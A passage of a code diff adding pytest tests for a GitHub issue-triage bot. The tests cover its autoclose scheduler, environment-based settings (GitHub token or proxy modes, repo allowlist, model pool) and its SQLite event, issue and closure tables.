sched = AutocloseScheduler(settings=_settings(), db=db, github=gh)
|
||||
counts = await sched.tick()
|
||||
assert counts == {"closed": 0, "cancelled": 0, "retried": 1}
|
||||
row = db.get_pending_closure(_KEY)
|
||||
# Failed attempt resets the row to `pending` so the next tick claims it again.
|
||||
assert row is not None and row.state == "pending"
|
||||
|
||||
|
||||
async def test_tick_treats_404_close_as_already_closed(db: Database) -> None:
|
||||
_seed(db)
|
||||
gh = _FakeGitHub(close_error=GitHubError(404, "Not Found"))
|
||||
sched = AutocloseScheduler(settings=_settings(), db=db, github=gh)
|
||||
counts = await sched.tick()
|
||||
assert counts == {"closed": 0, "cancelled": 1, "retried": 0}
|
||||
row = db.get_pending_closure(_KEY)
|
||||
assert row is not None and row.state == "cancelled"
|
||||
assert row.cancel_reason == "already_closed"
|
||||
|
||||
|
||||
async def test_tick_retries_when_list_reactions_fails(db: Database) -> None:
|
||||
_seed(db)
|
||||
|
||||
class _ReactBoom(_FakeGitHub):
|
||||
async def list_comment_reactions(self, repo, comment_id):
|
||||
raise GitHubError(503, "Service Unavailable")
|
||||
|
||||
gh = _ReactBoom()
|
||||
sched = AutocloseScheduler(settings=_settings(), db=db, github=gh)
|
||||
counts = await sched.tick()
|
||||
assert counts == {"closed": 0, "cancelled": 0, "retried": 1}
|
||||
row = db.get_pending_closure(_KEY)
|
||||
assert row is not None and row.state == "pending"
|
||||
|
||||
|
||||
async def test_tick_skips_future_rows(db: Database) -> None:
|
||||
"""A row whose `close_at` is in the future stays pending."""
|
||||
_seed(db, close_at="2999-01-01T00:00:00.000000Z")
|
||||
gh = _FakeGitHub()
|
||||
sched = AutocloseScheduler(settings=_settings(), db=db, github=gh)
|
||||
counts = await sched.tick()
|
||||
assert counts == {"closed": 0, "cancelled": 0, "retried": 0}
|
||||
assert gh.close_calls == []
|
||||
row = db.get_pending_closure(_KEY)
|
||||
assert row is not None and row.state == "pending"
|
||||
|
||||
|
||||
def test_scheduler_disabled_when_feature_off() -> None:
|
||||
sched = AutocloseScheduler(
|
||||
settings=_settings(enabled=False),
|
||||
db=None, # type: ignore[arg-type]
|
||||
github=None, # type: ignore[arg-type]
|
||||
)
|
||||
assert not sched.enabled
|
||||
|
||||
|
||||
def test_scheduler_disabled_when_hours_zero() -> None:
|
||||
sched = AutocloseScheduler(
|
||||
settings=_settings(hours=0.0),
|
||||
db=None, # type: ignore[arg-type]
|
||||
github=None, # type: ignore[arg-type]
|
||||
)
|
||||
assert not sched.enabled
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_start_is_noop_when_disabled(db: Database) -> None:
|
||||
sched = AutocloseScheduler(
|
||||
settings=_settings(enabled=False),
|
||||
db=db,
|
||||
github=_FakeGitHub(),
|
||||
)
|
||||
await sched.start()
|
||||
# No background task should have been created.
|
||||
assert sched._task is None # type: ignore[attr-defined]
|
||||
await sched.stop() # idempotent
|
||||
@@ -0,0 +1,134 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import pytest
|
||||
from pydantic import ValidationError
|
||||
|
||||
from robomp.config import Settings, reset_settings_cache
|
||||
|
||||
|
||||
def test_settings_load_from_env(env: dict[str, str]) -> None:
|
||||
cfg = Settings() # type: ignore[call-arg]
|
||||
assert cfg.bot_login == "robomp-bot"
|
||||
assert cfg.repo_allowlist == frozenset({"octo/widget"})
|
||||
assert cfg.allows("octo/widget")
|
||||
assert cfg.allows("Octo/Widget")
|
||||
assert not cfg.allows("other/widget")
|
||||
|
||||
|
||||
def test_settings_missing_required(monkeypatch: pytest.MonkeyPatch, env: dict[str, str]) -> None:
|
||||
"""Empty out every credential source: validator MUST trip the
|
||||
'no GitHub access configured' branch. The `env` fixture keeps the other
|
||||
required fields satisfied so we isolate the credential-validator path."""
|
||||
monkeypatch.setenv("GITHUB_TOKEN", "")
|
||||
monkeypatch.setenv("ROBOMP_GH_PROXY_URL", "")
|
||||
monkeypatch.setenv("ROBOMP_GH_PROXY_HMAC_KEY", "")
|
||||
reset_settings_cache()
|
||||
with pytest.raises(ValidationError, match="no GitHub access configured"):
|
||||
Settings() # type: ignore[call-arg]
|
||||
|
||||
|
||||
def test_orchestrator_mode_loads_proxy_config(env: dict[str, str]) -> None:
|
||||
cfg = Settings() # type: ignore[call-arg]
|
||||
assert cfg.github_token is None
|
||||
assert cfg.gh_proxy_url == "http://gh-proxy.invalid:8081"
|
||||
assert cfg.gh_proxy_hmac_key is not None
|
||||
assert cfg.gh_proxy_hmac_key.get_secret_value().startswith("test-hmac-key")
|
||||
|
||||
|
||||
def test_rejects_token_and_proxy_together(monkeypatch: pytest.MonkeyPatch, env: dict[str, str]) -> None:
|
||||
monkeypatch.setenv("GITHUB_TOKEN", "x")
|
||||
reset_settings_cache()
|
||||
with pytest.raises(ValidationError):
|
||||
Settings() # type: ignore[call-arg]
|
||||
|
||||
|
||||
def test_rejects_proxy_url_without_key(monkeypatch: pytest.MonkeyPatch, env: dict[str, str]) -> None:
|
||||
monkeypatch.setenv("ROBOMP_GH_PROXY_HMAC_KEY", "")
|
||||
reset_settings_cache()
|
||||
with pytest.raises(ValidationError):
|
||||
Settings() # type: ignore[call-arg]
|
||||
|
||||
|
||||
def test_proxy_mode_loads_pat(proxy_env: dict[str, str]) -> None:
|
||||
cfg = Settings() # type: ignore[call-arg]
|
||||
assert cfg.github_token is not None
|
||||
assert cfg.github_token.get_secret_value() == "ghp_test_token_value_xxxxxxxxxxxxxxxx"
|
||||
assert cfg.gh_proxy_url is None
|
||||
assert cfg.gh_proxy_hmac_key is None
|
||||
|
||||
|
||||
def test_allowlist_csv_parsing(monkeypatch: pytest.MonkeyPatch, env: dict[str, str]) -> None:
|
||||
monkeypatch.setenv("ROBOMP_REPO_ALLOWLIST", " alpha/one ,beta/two, ,gamma/three ")
|
||||
reset_settings_cache()
|
||||
cfg = Settings() # type: ignore[call-arg]
|
||||
assert cfg.repo_allowlist == frozenset({"alpha/one", "beta/two", "gamma/three"})
|
||||
|
||||
|
||||
def test_blank_replay_token_treated_as_disabled(monkeypatch: pytest.MonkeyPatch, env: dict[str, str]) -> None:
|
||||
monkeypatch.setenv("ROBOMP_REPLAY_TOKEN", "")
|
||||
reset_settings_cache()
|
||||
cfg = Settings() # type: ignore[call-arg]
|
||||
assert cfg.replay_token is None
|
||||
|
||||
|
||||
def test_whitespace_replay_token_treated_as_disabled(monkeypatch: pytest.MonkeyPatch, env: dict[str, str]) -> None:
|
||||
monkeypatch.setenv("ROBOMP_REPLAY_TOKEN", " ")
|
||||
reset_settings_cache()
|
||||
cfg = Settings() # type: ignore[call-arg]
|
||||
assert cfg.replay_token is None
|
||||
|
||||
|
||||
def test_real_replay_token_preserved(monkeypatch: pytest.MonkeyPatch, env: dict[str, str]) -> None:
|
||||
monkeypatch.setenv("ROBOMP_REPLAY_TOKEN", "abc")
|
||||
reset_settings_cache()
|
||||
cfg = Settings() # type: ignore[call-arg]
|
||||
assert cfg.replay_token is not None
|
||||
assert cfg.replay_token.get_secret_value() == "abc"
|
||||
|
||||
|
||||
def test_blank_bot_login_rejected(monkeypatch: pytest.MonkeyPatch, env: dict[str, str]) -> None:
|
||||
monkeypatch.setenv("ROBOMP_BOT_LOGIN", " ")
|
||||
reset_settings_cache()
|
||||
with pytest.raises(ValidationError):
|
||||
Settings() # type: ignore[call-arg]
|
||||
|
||||
|
||||
def test_model_pool_single(env: dict[str, str]) -> None:
|
||||
cfg = Settings() # type: ignore[call-arg]
|
||||
assert cfg.model_pool == (cfg.model,)
|
||||
assert cfg.pick_model() == cfg.model
|
||||
|
||||
|
||||
def test_model_pool_csv_parses(monkeypatch: pytest.MonkeyPatch, env: dict[str, str]) -> None:
|
||||
monkeypatch.setenv(
|
||||
"ROBOMP_MODEL",
|
||||
" p-codex/gpt-5.4 , p-anthropic/claude-sonnet-4-6 ,, p-anthropic/claude-opus-4-7 ",
|
||||
)
|
||||
reset_settings_cache()
|
||||
cfg = Settings() # type: ignore[call-arg]
|
||||
assert cfg.model_pool == (
|
||||
"p-codex/gpt-5.4",
|
||||
"p-anthropic/claude-sonnet-4-6",
|
||||
"p-anthropic/claude-opus-4-7",
|
||||
)
|
||||
|
||||
|
||||
def test_pick_model_covers_full_pool(monkeypatch: pytest.MonkeyPatch, env: dict[str, str]) -> None:
|
||||
"""With a 3-item pool and 500 picks, each option appears at least once."""
|
||||
monkeypatch.setenv("ROBOMP_MODEL", "a,b,c")
|
||||
reset_settings_cache()
|
||||
cfg = Settings() # type: ignore[call-arg]
|
||||
seen = {cfg.pick_model() for _ in range(500)}
|
||||
assert seen == {"a", "b", "c"}
|
||||
|
||||
|
||||
def test_max_concurrency_default_is_8(env: dict[str, str]) -> None:
|
||||
cfg = Settings() # type: ignore[call-arg]
|
||||
assert cfg.max_concurrency == 8
|
||||
|
||||
|
||||
def test_task_timeout_hard_grace_env_parses(monkeypatch: pytest.MonkeyPatch, env: dict[str, str]) -> None:
|
||||
monkeypatch.setenv("ROBOMP_TASK_TIMEOUT_HARD_GRACE_SECONDS", "12.5")
|
||||
reset_settings_cache()
|
||||
cfg = Settings() # type: ignore[call-arg]
|
||||
assert cfg.task_timeout_hard_grace_seconds == 12.5
|
||||
@@ -0,0 +1,562 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import threading
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
from pathlib import Path
|
||||
|
||||
from robomp.db import Database, iso_seconds_ago, issue_key
|
||||
|
||||
|
||||
def test_record_event_dedupes_by_delivery(db: Database) -> None:
|
||||
payload = {"action": "opened", "issue": {"number": 1}}
|
||||
assert db.record_event(
|
||||
delivery_id="abc",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key=issue_key("octo/widget", 1),
|
||||
payload=payload,
|
||||
)
|
||||
assert not db.record_event(
|
||||
delivery_id="abc",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key=issue_key("octo/widget", 1),
|
||||
payload=payload,
|
||||
)
|
||||
|
||||
|
||||
def test_claim_next_event_singleton_under_contention(db: Database) -> None:
|
||||
for i in range(5):
|
||||
db.record_event(
|
||||
delivery_id=f"d-{i}",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key=issue_key("octo/widget", i),
|
||||
payload={"i": i},
|
||||
)
|
||||
|
||||
winners: list[str] = []
|
||||
lock = threading.Lock()
|
||||
|
||||
def claim() -> None:
|
||||
row = db.claim_next_event()
|
||||
if row is not None:
|
||||
with lock:
|
||||
winners.append(row.delivery_id)
|
||||
|
||||
with ThreadPoolExecutor(max_workers=8) as pool:
|
||||
for _ in range(5):
|
||||
futures = [pool.submit(claim) for _ in range(8)]
|
||||
for f in futures:
|
||||
f.result()
|
||||
|
||||
# Each delivery id should appear exactly once.
|
||||
assert sorted(winners) == [f"d-{i}" for i in range(5)]
|
||||
assert all(db.get_event(f"d-{i}").state == "running" for i in range(5))
|
||||
|
||||
|
||||
def test_requeue_event_can_be_restricted_by_source_state(db: Database) -> None:
|
||||
db.record_event(
|
||||
delivery_id="done-event",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key=issue_key("octo/widget", 1),
|
||||
payload={},
|
||||
state="done",
|
||||
)
|
||||
db.record_event(
|
||||
delivery_id="running-event",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key=issue_key("octo/widget", 2),
|
||||
payload={},
|
||||
state="running",
|
||||
)
|
||||
|
||||
assert db.requeue_event("done-event", from_states=("done", "failed", "skipped"))
|
||||
assert db.get_event("done-event").state == "queued"
|
||||
|
||||
assert not db.requeue_event("running-event", from_states=("done", "failed", "skipped"))
|
||||
assert db.get_event("running-event").state == "running"
|
||||
|
||||
|
||||
def test_latest_issue_events_ignore_skipped_noise(db: Database) -> None:
|
||||
fixed = issue_key("octo/widget", 1)
|
||||
still_failed = issue_key("octo/widget", 2)
|
||||
db.record_event(
|
||||
delivery_id="fixed-failed",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key=fixed,
|
||||
payload={"action": "opened"},
|
||||
state="failed",
|
||||
)
|
||||
db.record_event(
|
||||
delivery_id="fixed-done",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key=fixed,
|
||||
payload={"action": "opened"},
|
||||
state="done",
|
||||
)
|
||||
db.record_event(
|
||||
delivery_id="failed-run",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key=still_failed,
|
||||
payload={"action": "opened"},
|
||||
state="failed",
|
||||
)
|
||||
db.record_event(
|
||||
delivery_id="label-noise",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key=still_failed,
|
||||
payload={"action": "labeled"},
|
||||
state="skipped",
|
||||
last_error="issues.labeled ignored",
|
||||
)
|
||||
|
||||
latest_failed = db.latest_event_for_issue(still_failed)
|
||||
latest_raw = db.latest_event_for_issue(still_failed, include_skipped=True)
|
||||
assert latest_failed is not None
|
||||
assert latest_raw is not None
|
||||
assert latest_failed.delivery_id == "failed-run"
|
||||
assert latest_raw.delivery_id == "label-noise"
|
||||
|
||||
latest = db.latest_events_for_issues((fixed, still_failed))
|
||||
assert latest[fixed].delivery_id == "fixed-done"
|
||||
assert latest[still_failed].delivery_id == "failed-run"
|
||||
|
||||
counts = db.latest_issue_event_state_counts()
|
||||
assert counts["done"] == 1
|
||||
assert counts["failed"] == 1
|
||||
assert counts["skipped"] == 0
|
||||
|
||||
|
||||
def test_reset_stuck_running_recovers(db: Database) -> None:
|
||||
db.record_event(
|
||||
delivery_id="d1",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key="octo/widget#1",
|
||||
payload={},
|
||||
)
|
||||
row = db.claim_next_event()
|
||||
assert row is not None
|
||||
# Capture `started_at` set by the claim so we can prove the recovery flip preserves it.
|
||||
with db._lock: # noqa: SLF001
|
||||
before = db._conn.execute( # noqa: SLF001
|
||||
"SELECT started_at FROM events WHERE delivery_id=?", ("d1",)
|
||||
).fetchone()
|
||||
assert before is not None
|
||||
assert before["started_at"] is not None
|
||||
# Simulate crash: row still running.
|
||||
recovered = db.reset_stuck_running()
|
||||
assert recovered == 1
|
||||
assert db.get_event("d1").state == "queued"
|
||||
with db._lock: # noqa: SLF001
|
||||
after = db._conn.execute( # noqa: SLF001
|
||||
"SELECT started_at FROM events WHERE delivery_id=?", ("d1",)
|
||||
).fetchone()
|
||||
assert after is not None
|
||||
assert after["started_at"] == before["started_at"]
|
||||
|
||||
|
||||
def test_upsert_issue_round_trip(db: Database) -> None:
|
||||
key = issue_key("octo/widget", 7)
|
||||
row = db.upsert_issue(
|
||||
key=key,
|
||||
repo="octo/widget",
|
||||
number=7,
|
||||
state="new",
|
||||
)
|
||||
assert row.state == "new"
|
||||
row = db.upsert_issue(
|
||||
key=key,
|
||||
repo="octo/widget",
|
||||
number=7,
|
||||
state="opened",
|
||||
branch="farm/abcd1234/some-issue",
|
||||
session_dir="/tmp/s",
|
||||
pr_number=42,
|
||||
)
|
||||
assert row.state == "opened"
|
||||
assert row.branch == "farm/abcd1234/some-issue"
|
||||
assert row.pr_number == 42
|
||||
fetched = db.get_issue(key)
|
||||
assert fetched and fetched.pr_number == 42
|
||||
|
||||
found = db.find_issue_by_pr("octo/widget", 42)
|
||||
assert found and found.key == key
|
||||
by_branch = db.find_issue_by_branch("octo/widget", "farm/abcd1234/some-issue")
|
||||
assert by_branch and by_branch.key == key
|
||||
|
||||
|
||||
def test_log_tool_call(db: Database) -> None:
|
||||
db.upsert_issue(key="octo/widget#1", repo="octo/widget", number=1, state="new")
|
||||
row_id = db.log_tool_call(
|
||||
issue_key="octo/widget#1",
|
||||
tool="gh_post_comment",
|
||||
args={"body": "hi"},
|
||||
result={"comment_id": 9},
|
||||
)
|
||||
assert row_id > 0
|
||||
|
||||
|
||||
def test_processed_issue_keys_returns_only_known(db: Database) -> None:
|
||||
db.upsert_issue(key=issue_key("octo/widget", 1), repo="octo/widget", number=1, state="new")
|
||||
db.upsert_issue(key=issue_key("octo/widget", 2), repo="octo/widget", number=2, state="reproducing")
|
||||
queried = [
|
||||
issue_key("octo/widget", 1),
|
||||
issue_key("octo/widget", 2),
|
||||
issue_key("octo/widget", 3), # never upserted
|
||||
issue_key("octo/other", 7), # different repo, never upserted
|
||||
]
|
||||
result = db.processed_issue_keys(queried)
|
||||
assert result == {issue_key("octo/widget", 1), issue_key("octo/widget", 2)}
|
||||
|
||||
|
||||
def test_processed_issue_keys_empty_input(db: Database) -> None:
|
||||
assert db.processed_issue_keys([]) == set()
|
||||
# Empty strings are filtered out, not sent as a parameter.
|
||||
assert db.processed_issue_keys(["", ""]) == set()
|
||||
|
||||
|
||||
def test_processed_issue_keys_handles_large_batch(db: Database) -> None:
|
||||
# Confirms the 500-batch chunking path (>500 parameters would otherwise hit
|
||||
# SQLite's SQLITE_MAX_VARIABLE_NUMBER default of 999 on older builds).
|
||||
keys = [issue_key("octo/widget", n) for n in range(1, 750)]
|
||||
# Persist only every 3rd one.
|
||||
for k, n in zip(keys, range(1, 750), strict=True):
|
||||
if n % 3 == 0:
|
||||
db.upsert_issue(key=k, repo="octo/widget", number=n, state="new")
|
||||
result = db.processed_issue_keys(keys + ["bogus#1"])
|
||||
expected = {issue_key("octo/widget", n) for n in range(1, 750) if n % 3 == 0}
|
||||
assert result == expected
|
||||
|
||||
|
||||
def test_classification_roundtrip(db: Database) -> None:
|
||||
key = issue_key("octo/widget", 7)
|
||||
db.upsert_issue(key=key, repo="octo/widget", number=7, state="new")
|
||||
row = db.get_issue(key)
|
||||
assert row is not None and row.classification is None
|
||||
db.set_issue_classification(key, "question")
|
||||
row = db.get_issue(key)
|
||||
assert row is not None and row.classification == "question"
|
||||
# Round-trip via list_issues too.
|
||||
items = db.list_issues()
|
||||
assert any(r.key == key and r.classification == "question" for r in items)
|
||||
|
||||
|
||||
def test_migration_adds_classification_to_existing_db(tmp_path: Path) -> None:
|
||||
"""Open a DB without the classification column and verify the migration."""
|
||||
import sqlite3
|
||||
|
||||
path = tmp_path / "legacy.sqlite"
|
||||
conn = sqlite3.connect(str(path))
|
||||
conn.executescript(
|
||||
"""
|
||||
CREATE TABLE events (delivery_id TEXT PRIMARY KEY, event_type TEXT, payload_json TEXT,
|
||||
received_at TEXT, state TEXT CHECK(state IN ('queued','running','done','failed','skipped')),
|
||||
attempts INTEGER DEFAULT 0, last_error TEXT, repo TEXT, issue_key TEXT,
|
||||
started_at TEXT, finished_at TEXT);
|
||||
CREATE TABLE issues (key TEXT PRIMARY KEY, repo TEXT, number INTEGER, branch TEXT,
|
||||
session_dir TEXT, pr_number INTEGER, state TEXT, updated_at TEXT);
|
||||
CREATE TABLE tool_calls (id INTEGER PRIMARY KEY AUTOINCREMENT, issue_key TEXT,
|
||||
tool TEXT, args_json TEXT, result_json TEXT, error TEXT, ts TEXT);
|
||||
INSERT INTO issues VALUES ('octo/widget#1', 'octo/widget', 1, 'farm/x', '/tmp/s', NULL,
|
||||
'reproducing', '2026-01-01T00:00:00Z');
|
||||
"""
|
||||
)
|
||||
conn.commit()
|
||||
conn.close()
|
||||
# Opening through our Database class should auto-migrate.
|
||||
database = Database(path)
|
||||
row = database.get_issue("octo/widget#1")
|
||||
assert row is not None
|
||||
assert row.classification is None # column exists, default NULL
|
||||
database.set_issue_classification("octo/widget#1", "bug")
|
||||
assert database.get_issue("octo/widget#1").classification == "bug"
|
||||
database.close()
|
||||
|
||||
|
||||
def test_set_event_model_persists_on_running_event(db: Database) -> None:
|
||||
"""`set_event_model` writes the picked model so the dashboard can attribute behavior."""
|
||||
db.record_event(
|
||||
delivery_id="d-model",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key=issue_key("octo/widget", 42),
|
||||
payload={"action": "opened"},
|
||||
)
|
||||
row = db.claim_next_event()
|
||||
assert row is not None and row.delivery_id == "d-model"
|
||||
db.set_event_model("d-model", "claude-sonnet-4-5")
|
||||
running = db.list_running_events()
|
||||
assert len(running) == 1
|
||||
assert running[0]["model"] == "claude-sonnet-4-5"
|
||||
# Setting a different model later (e.g. retry) overwrites in place.
|
||||
db.set_event_model("d-model", "claude-opus-4-5")
|
||||
running = db.list_running_events()
|
||||
assert running[0]["model"] == "claude-opus-4-5"
|
||||
|
||||
|
||||
def test_list_running_events_surfaces_last_tool_since_start(db: Database) -> None:
|
||||
"""`list_running_events` joins the most recent tool_call newer than `started_at`.
|
||||
|
||||
Tool calls logged before the current run (e.g. an earlier triage on the same
|
||||
issue) MUST NOT be reported as the current activity.
|
||||
"""
|
||||
key = issue_key("octo/widget", 7)
|
||||
db.upsert_issue(key=key, repo="octo/widget", number=7, state="reproducing")
|
||||
# Stale tool call from a previous run (no started_at yet).
|
||||
db.log_tool_call(issue_key=key, tool="stale_tool", args={})
|
||||
db.record_event(
|
||||
delivery_id="d-7",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key=key,
|
||||
payload={"action": "opened"},
|
||||
)
|
||||
db.claim_next_event() # sets started_at
|
||||
# Before any current-run tool call: last_tool must be NULL, not "stale_tool".
|
||||
running = db.list_running_events()
|
||||
assert len(running) == 1
|
||||
assert running[0]["last_tool"] is None
|
||||
assert running[0]["last_tool_ts"] is None
|
||||
# New tool call after start → surfaces in the snapshot.
|
||||
db.log_tool_call(issue_key=key, tool="gh_post_comment", args={"body": "hi"})
|
||||
db.log_tool_call(issue_key=key, tool="set_issue_labels", args={"labels": ["bug"]})
|
||||
running = db.list_running_events()
|
||||
assert running[0]["last_tool"] == "set_issue_labels" # latest by ts
|
||||
assert running[0]["last_tool_ts"] is not None
|
||||
|
||||
|
||||
def test_record_submission_dedupes_by_delivery(db: Database) -> None:
|
||||
assert db.record_submission(delivery_id="d-1", login="Alice", repo="octo/widget")
|
||||
# Retry of the same delivery id is a no-op (idempotent webhook delivery).
|
||||
assert not db.record_submission(delivery_id="d-1", login="alice", repo="octo/widget")
|
||||
|
||||
|
||||
def test_admit_submission_dedupes_by_delivery_before_rate_limit(db: Database) -> None:
|
||||
since = iso_seconds_ago(60)
|
||||
first = db.admit_submission(
|
||||
delivery_id="d-1",
|
||||
login="Alice",
|
||||
repo="octo/widget",
|
||||
since=since,
|
||||
cap=1,
|
||||
)
|
||||
assert first.accepted
|
||||
assert not first.duplicate
|
||||
assert first.used == 1
|
||||
|
||||
duplicate = db.admit_submission(
|
||||
delivery_id="d-1",
|
||||
login="alice",
|
||||
repo="octo/widget",
|
||||
since=since,
|
||||
cap=1,
|
||||
)
|
||||
assert duplicate.accepted
|
||||
assert duplicate.duplicate
|
||||
assert duplicate.used == 1
|
||||
|
||||
rejected = db.admit_submission(
|
||||
delivery_id="d-2",
|
||||
login="ALICE",
|
||||
repo="octo/widget",
|
||||
since=since,
|
||||
cap=1,
|
||||
)
|
||||
assert not rejected.accepted
|
||||
assert not rejected.duplicate
|
||||
assert rejected.used == 1
|
||||
assert db.count_submissions_since("alice", since) == 1
|
||||
|
||||
|
||||
def test_admit_submission_enforces_cap_atomically_across_connections(tmp_path: Path) -> None:
|
||||
path = tmp_path / "admission.sqlite"
|
||||
# Pre-warm: open + migrate the schema once so the two racing threads below
|
||||
# collide only on `admit_submission` (which is what the test is exercising),
|
||||
# not on `Database.__init__`. `executescript(SCHEMA)` flips journal_mode to
|
||||
# WAL, which needs a brief exclusive lock — without pre-warming, one
|
||||
# thread can lose that race and never reach `barrier.wait()`, deadlocking
|
||||
# its peer at the barrier (no timeout) and hanging `future.result()`.
|
||||
Database(path).close()
|
||||
barrier = threading.Barrier(2, timeout=10)
|
||||
|
||||
def admit(delivery_id: str) -> bool:
|
||||
database = Database(path)
|
||||
try:
|
||||
barrier.wait()
|
||||
return database.admit_submission(
|
||||
delivery_id=delivery_id,
|
||||
login="alice",
|
||||
repo="octo/widget",
|
||||
since=iso_seconds_ago(60),
|
||||
cap=1,
|
||||
).accepted
|
||||
finally:
|
||||
database.close()
|
||||
|
||||
with ThreadPoolExecutor(max_workers=2) as pool:
|
||||
futures = [pool.submit(admit, f"d-{i}") for i in range(2)]
|
||||
accepted = [future.result(timeout=15) for future in futures]
|
||||
|
||||
verifier = Database(path)
|
||||
try:
|
||||
assert sorted(accepted) == [False, True]
|
||||
assert verifier.count_submissions_since("alice", iso_seconds_ago(60)) == 1
|
||||
finally:
|
||||
verifier.close()
|
||||
|
||||
|
||||
def test_count_submissions_since_is_case_insensitive(db: Database) -> None:
|
||||
db.record_submission(delivery_id="d-1", login="Alice", repo="octo/widget")
|
||||
db.record_submission(delivery_id="d-2", login="ALICE", repo="octo/widget")
|
||||
db.record_submission(delivery_id="d-3", login="bob", repo="octo/widget")
|
||||
# Window covering the whole test run.
|
||||
since = iso_seconds_ago(60)
|
||||
assert db.count_submissions_since("alice", since) == 2
|
||||
assert db.count_submissions_since("ALICE", since) == 2
|
||||
assert db.count_submissions_since("bob", since) == 1
|
||||
assert db.count_submissions_since("nobody", since) == 0
|
||||
|
||||
|
||||
def test_count_submissions_since_respects_window(db: Database) -> None:
|
||||
db.record_submission(delivery_id="d-1", login="alice", repo="octo/widget")
|
||||
# Future cutoff means the just-inserted row is *before* the window.
|
||||
future = iso_seconds_ago(-60)
|
||||
assert db.count_submissions_since("alice", future) == 0
|
||||
|
||||
|
||||
# -------- pending_closures ---------------------------------------------
|
||||
|
||||
|
||||
_KEY = issue_key("octo/widget", 42)
|
||||
|
||||
|
||||
def _seed_pending(db: Database, *, close_at: str = "2026-05-15T00:00:00.000000Z") -> None:
|
||||
db.upsert_pending_closure(
|
||||
issue_key=_KEY,
|
||||
repo="octo/widget",
|
||||
number=42,
|
||||
comment_id=999,
|
||||
issue_author="Alice",
|
||||
close_at=close_at,
|
||||
)
|
||||
|
||||
|
||||
def test_upsert_pending_closure_lowercases_author_and_starts_pending(db: Database) -> None:
|
||||
_seed_pending(db)
|
||||
row = db.get_pending_closure(_KEY)
|
||||
assert row is not None
|
||||
assert row.state == "pending"
|
||||
assert row.cancel_reason is None
|
||||
assert row.issue_author == "alice" # author stored lower-cased for cheap eq
|
||||
assert row.comment_id == 999
|
||||
|
||||
|
||||
def test_upsert_pending_closure_overwrites_prior_schedule(db: Database) -> None:
|
||||
_seed_pending(db)
|
||||
db.finalize_closure(_KEY, state="cancelled", reason="user_replied")
|
||||
# A follow-up bot answer should reset the row to pending and update fields.
|
||||
db.upsert_pending_closure(
|
||||
issue_key=_KEY,
|
||||
repo="octo/widget",
|
||||
number=42,
|
||||
comment_id=1234,
|
||||
issue_author="alice",
|
||||
close_at="2030-01-01T00:00:00.000000Z",
|
||||
)
|
||||
row = db.get_pending_closure(_KEY)
|
||||
assert row is not None
|
||||
assert row.state == "pending"
|
||||
assert row.cancel_reason is None
|
||||
assert row.comment_id == 1234
|
||||
assert row.close_at == "2030-01-01T00:00:00.000000Z"
|
||||
|
||||
|
||||
def test_claim_due_closures_only_returns_due_pending(db: Database) -> None:
|
||||
_seed_pending(db, close_at="2000-01-01T00:00:00.000000Z") # past
|
||||
db.upsert_pending_closure(
|
||||
issue_key=issue_key("octo/widget", 7),
|
||||
repo="octo/widget",
|
||||
number=7,
|
||||
comment_id=10,
|
||||
issue_author="bob",
|
||||
close_at="2999-01-01T00:00:00.000000Z", # future
|
||||
)
|
||||
claimed = db.claim_due_closures(now="2026-05-15T00:00:00.000000Z")
|
||||
assert [r.issue_key for r in claimed] == [_KEY]
|
||||
assert all(r.state == "claimed" for r in claimed)
|
||||
# And re-claiming returns nothing because the first one is no longer pending.
|
||||
again = db.claim_due_closures(now="2026-05-15T00:00:00.000000Z")
|
||||
assert again == []
|
||||
|
||||
|
||||
def test_claim_due_closures_atomic_under_contention(db: Database) -> None:
|
||||
"""Two concurrent claims see disjoint rows."""
|
||||
for n in range(5):
|
||||
db.upsert_pending_closure(
|
||||
issue_key=issue_key("octo/widget", n),
|
||||
repo="octo/widget",
|
||||
number=n,
|
||||
comment_id=100 + n,
|
||||
issue_author="alice",
|
||||
close_at="2000-01-01T00:00:00.000000Z",
|
||||
)
|
||||
seen: list[str] = []
|
||||
lock = threading.Lock()
|
||||
|
||||
def claim_some() -> None:
|
||||
rows = db.claim_due_closures(now="2026-05-15T00:00:00.000000Z", limit=2)
|
||||
with lock:
|
||||
seen.extend(r.issue_key for r in rows)
|
||||
|
||||
with ThreadPoolExecutor(max_workers=4) as pool:
|
||||
for _ in range(4):
|
||||
list(pool.map(lambda _: claim_some(), range(4)))
|
||||
# Each row must appear at most once across all claims.
|
||||
assert sorted(seen) == sorted({issue_key("octo/widget", n) for n in range(5)})
|
||||
|
||||
|
||||
def test_cancel_pending_closure_only_fires_when_pending(db: Database) -> None:
|
||||
_seed_pending(db)
|
||||
assert db.cancel_pending_closure(_KEY, reason="user_replied")
|
||||
row = db.get_pending_closure(_KEY)
|
||||
assert row is not None
|
||||
assert row.state == "cancelled"
|
||||
assert row.cancel_reason == "user_replied"
|
||||
# A second cancel against an already-cancelled row is a no-op.
|
||||
assert not db.cancel_pending_closure(_KEY, reason="user_replied")
|
||||
|
||||
|
||||
def test_cancel_pending_closure_skips_claimed_rows(db: Database) -> None:
|
||||
"""A `claimed` row must be left for the scheduler tick that owns it."""
|
||||
_seed_pending(db, close_at="2000-01-01T00:00:00.000000Z")
|
||||
claimed = db.claim_due_closures(now="2026-05-15T00:00:00.000000Z")
|
||||
assert claimed and claimed[0].state == "claimed"
|
||||
assert not db.cancel_pending_closure(_KEY, reason="user_replied")
|
||||
row = db.get_pending_closure(_KEY)
|
||||
assert row is not None and row.state == "claimed"
|
||||
|
||||
|
||||
def test_finalize_closure_rejects_non_terminal_state(db: Database) -> None:
|
||||
_seed_pending(db)
|
||||
import pytest
|
||||
|
||||
